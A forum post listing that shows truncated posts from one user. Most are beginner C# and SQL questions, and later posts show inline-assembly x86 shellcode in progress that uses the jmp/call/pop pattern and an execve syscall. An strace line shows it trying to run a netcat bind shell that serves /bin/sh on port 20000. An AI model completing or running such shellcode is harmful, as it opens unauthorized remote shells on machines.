I'm trying to set up a 2-d array of objects. I want the array to be accessible to the whole class that it is defined in but I don't know how big the array is right away. What is the correct way to...
Type: Posts; User: jcafaro10
I'm trying to set up a 2-d array of objects. I want the array to be accessible to the whole class that it is defined in but I don't know how big the array is right away. What is the correct way to...
In my code I just say to read in the command from user input. I've tried entering it in a few different ways:
Enter Command: insert into table1 values (\"hi\",2,3,4)
Invalid Command: Syntax...
Thanks for the help. I started playing around with using different commands. I'm new to sql but I've looked up some stuff. I have a table with column headers A,B,C, and D. I can insert items into...
Sorry I've been scripting all day and forgot that I need a main method, whoops
Invalid token '(' in class, struct, or interface member declaration
It's pointing to con.Open(); I think that means it just doesn't know what con is.
Whoops. It's OleDbCommand now but still the same error
using System;
using System.Collections.Generic;
using System.Text;
using System.Data;
using System.Data.OleDb;
I'm trying to read excel files using C# following some tutorials I found online but I think I'm forgetting something because the method names don't seem to be recognized. Do I need to import...
I'm just learning C# and have gone through a bunch of good introductions to the C# language. A lot of it is really similar to Java so I don't anticipate having much issue picking up things. One...
Thanks I'll look into that. I found a good tutorial on C# that I'm going through now. It seems very similar to Java which is very helpful. I've also read that you can use C# with ASP.NET. I don't...
Hey thanks, that's quite helpful. I found a page on C# for Java programmers which was also helpful: C# From a Java Developer's Perspective.
Still looking for a good C# plugin for eclipse
Hello all,
I'm starting to pick up C#. I come from a java background so a lot of things look familiar but a few things don't. I'm starting a simple Hello World program using Visual Studio. ...
thanks, that helped!
I'm passing a memory address as arguments to a program but when I try and convert the string to an unsigned long, I don't get anything.
int main(int argc,char *argv[])
{
unsigned long...
Ok, so here's my updates with some more comments to show what I'm trying to do:
char text[200];
FILE *f2 ;
f2 = popen("./program1","r");//this program takes a little while to produce...
I started a little smaller with this code:
char text[200];
FILE *f1,
f1 = popen("./program1","w");
while (fgets(text, 200, f1) == NULL)
{}
while (fgets(text,200,f1)!=NULL)...
Learning is my main objective here, but I learn best through listening to people who know more, rather than googling although I've done a ton of googling as well
I know that C probably isn't the best language to be scripting in but I'm not too familiar with my linux virtual machine so I'm not sure how easy it would be to install python or java or something.
...
Thanks for all the help guys. I'll mull a bunch of these ideas around in my head.
So then it's:
"myarr: .long myarr-?,myarr-?,myarr-?,myarr-?,0\n\t"
How do I know what to put in for the question marks? My guess would be that since my code looks like this:
"myarr:...
So you mean instead of:
"myarr: .long arg1,arg2,arg3,arg4,0\n\t"
do:
"myarr: .long myarr+?,myarr+?,myarr+?,myarr+?,0\n\t"
Closer. I've eliminated a little dependence. I'm not sure how to populate an actual array however at runtime
void main()
{
__asm__(
"jmp call1\n\t"
"start1:\n\t"
"pop %esi\n\t"
void main()
{
__asm__(
"jmp call\n\t"
"start:\n\t"
"pop %esi\n\t"
"mov $0x0,%edx\n\t"
"mov $arg1,%ebx\n\t"
"lea (%esi),%ecx\n\t" //how much do I count?
"mov $0xb,%eax\n\t"
I ran an strace on my code to see what was happening. Here is the output (it just keeps looping this):
execve("փك��", ["/bin/nc", "-l", "-p 20000", "-e/bin/sh"], [/* 0 vars */]) = -1 ENOENT...
Here's some well known code for example that does something similar:
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl ...
I guess that makes sense. It doesn't really explain why the code doesn't work as is though. Since I'm only using it where its compiled, then it should work. But also, I've seen similar code to...